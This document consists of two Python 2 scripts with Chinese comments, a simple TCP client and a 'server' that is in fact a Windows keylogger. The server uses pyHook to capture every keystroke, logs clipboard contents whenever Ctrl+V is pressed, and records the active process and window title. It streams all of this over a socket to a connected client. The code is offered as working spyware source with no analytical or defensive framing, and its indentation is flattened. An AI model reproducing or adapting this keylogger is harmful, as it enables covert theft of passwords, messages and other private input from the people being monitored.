TCPclient.py
# -*- coding: utf-8 -*-
import socket
target_host = "127.0.0.1"
target_port = 9999
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect((target_host,target_port))
#client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
try :
while True :
response = client.recv(4096)
print response
except :
print "[*] Exception! Exiting."
TCPserver.py
# -*- coding: utf-8 -*-
import socket
import threading
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
client = None
bind_ip = "127.0.0.1"
bind_port = 9999
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(1)
def get_current_process():
global client
# 获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow()
# 获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
# 将进程ID存入变量中
process_id = "%d" % pid.value
# 申请内存
executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
# 读取窗口标题
windows_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
data = 'PID'+process_id+executable.value+windows_title.value
client.send(data)
# 关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#return
# 定义击键监听事件函数
def KeyStroke(event):
global current_window
global client
# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.WindowName != current_window:
current_window = event.WindowName
# 函数调用
get_current_process()
# 检测击键是否常规按键（非组合键等）
if event.Ascii > 32 and event.Ascii <127:
buffer = chr(event.Ascii)
client.send(buffer)
else:
# 如果发现Ctrl+v（粘贴）事件，就把粘贴板内容记录下来
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
buffer = pasted_value
client.send(buffer)
else:
buffer = event.Key
client.send(buffer)
# 循环监听下一个击键事件
return True
print "[*] Listening on %s:%d" % (bind_ip,bind_port)
client,addr = server.accept()
print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])
client.send("OK!")
if client:
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
'''if len(buffer):
try:
while True:
print buffer
client.send(buffer)
except :
print "[*] Exception! Exiting."
client.close()'''
参考文献：
http://drops.wooyun.org/papers/4751
